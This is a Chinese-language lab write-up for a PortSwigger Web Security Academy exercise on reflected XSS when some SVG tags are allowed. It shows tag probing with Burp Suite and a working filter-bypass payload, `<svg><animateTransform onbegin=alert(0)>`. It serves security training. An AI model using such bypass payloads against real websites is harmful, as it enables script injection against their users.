> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xss/reflected-xss-with-svg-tags-allowed.md).

# 带允许 SVG 标签的反射型 XSS

带允许 SVG 标签的反射型 XSS 笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 允许部分 SVG 标记的反射型 XSS

XSS 漏洞。想得简单一点。应用会阻止常见的 HTML 标签，但允许某些 SVG 标签以及某些属性/事件通过。目标：触发 `alert()` 通过一个 SVG 标签。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3e6e342c576eadfabfd43555719665a0581b5aff%2F%7BF281A669-97E0-42B4-A6FA-2DF3DC9B8AD8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* 常规 HTML 标签被阻止。
* 对允许的标签进行了粗略的暴力探测。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e8de12bf14f3426efde0f8d732a8a0b6292a1fdf%2F%7B7DF6EEFF-F047-4412-84A4-168EB1FA742D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* 服务器响应 / 显示已找到标签的测试： `animateTransform`, `image`, `svg`, `title`.

```javascript
<svg><animateTransform a=1>
<svg><animateTransform%20§a§=1>
```

* 连续插入测试：
* `<svg><animateTransform a=1>` — 基本插入。
* 尝试编码 / 空格变体： `<svg><animateTransform%20a=1>` — 用于绕过过滤。
* 可用的 `onbegin` 事件可以在 `animateTransform`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5cd8029b8614da957bf5eeed913d0bf41392db4a%2F%7BC4F662EE-4950-42C5-A8AC-9DC998B1DDCC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```javascript
<svg><animateTransform onbegin=alert(0)></animateTransform></svg>
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c45c05c394c950b264594367548f703ba40ae8a2%2F%7B90337C91-94BF-4483-842F-6F0199B16A89%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

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